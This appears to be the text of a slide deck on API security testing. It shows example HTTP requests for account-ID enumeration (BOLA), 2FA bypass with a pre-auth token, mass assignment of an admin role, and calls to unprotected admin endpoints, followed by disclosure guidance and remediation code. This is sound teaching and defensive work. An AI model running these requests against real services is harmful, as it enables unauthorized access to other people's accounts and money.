Hacking APIs
in the Wild

Vulnerable Request

GET /api/v1/accounts/1 HTTP/1.1
Authorization: Bearer <alice_token>

# Response — Alice's account ✓
{ "id": 1, "balance": 250000 }

# Change ID to 2 — Bob's account!
GET /api/v1/accounts/2 HTTP/1.1
Authorization: Bearer <alice_token>

# Response — Bob's account 💀
{ "id": 2, "balance": 85000 }

Why It Happens

• Server trusts the token for auth but not for authz
• No ownership check: WHERE user_id = {token.sub}
• Developers think "it's not in the UI so no one will find it"
• Sequential or predictable IDs make mass enumeration trivial

Common Patterns I've Seen

The v1 vs v2 Attack

# v1 — "secure" (has 2FA gate)
POST /api/v1/login
→ { "pre_auth_token": "eyJ...",
    "requires_2fa": true }

# Just use the token directly!
GET /api/v1/accounts/1
Authorization: Bearer eyJ...
→ 200 OK  💀 2FA completely bypassed

# Or just use v2 — no 2FA at all
POST /api/v2/login
→ { "access_token": "eyJ...",
    "role": "user" }

Mass Assignment (API3)

API blindly binds all request body fields to the model — including ones the user shouldn't control.

# Normal registration
POST /api/v1/register
{ "username": "hacker",
  "email": "h@x.io",
  "password": "pass123" }
→ role: "user"

# With mass assignment exploit
POST /api/v1/register
{ "username": "hacker",
  "email": "h@x.io",
  "password": "pass123",
  "role": "admin" }        ← !!!
→ role: "admin"  💀

Broken Function Level Auth (API5)

Admin functions exist but any user can call them — no role check.

# Hidden admin endpoint
# Found in Swagger / /docs
GET /api/v1/admin/users
Authorization: Bearer <user_token>
→ 200 OK — all users + hashes 💀

POST /api/v1/admin/transfer
Authorization: Bearer <user_token>
{ "to_account_id": 3,
  "amount": 50000 }
→ Transfer successful 💀

Anatomy of a Good Finding

Common Mistakes

• ❌ "This could potentially..." — if you haven't exploited it, don't report it as critical
• ❌ Screenshots with no context — always include the request + response
• ❌ No CVSS score — teams use this to prioritize. Learn to calculate it.
• ❌ Vague remediation — "improve security" helps nobody
• ❌ Dumping everything in one doc — separate findings, separate severity sections

Responsible Disclosure Flow

1. Find the vulnerability + fully document it
2. Contact the company's security team (look for security.txt, HackerOne, Bugcrowd)
3. Give them 90 days to fix (industry standard)
4. Follow up at 30 and 60 days
5. If no response — disclose publicly after 90 days

The Reality

Authorization

# BAD — trusts the URL parameter
def get_account(account_id: int, token):
    return db.query(
        "SELECT * FROM accounts WHERE id=?",
        account_id
    )

# GOOD — always scope to the authenticated user
def get_account(account_id: int, token):
    user_id = token.sub
    return db.query(
        "SELECT * FROM accounts
         WHERE id=? AND user_id=?",
        account_id, user_id   # ← ownership check
    )

Input Whitelisting (Mass Assignment Fix)

# BAD — binds everything from request
user = User(**request.json)

# GOOD — explicit field whitelist
class RegisterSchema(BaseModel):
    username: str
    email: str
    password: str
    # role intentionally NOT here

Function Auth (BFLA Fix)

# Add role checks on admin routes
@require_role("admin")
def admin_transfer(body, token):
    ...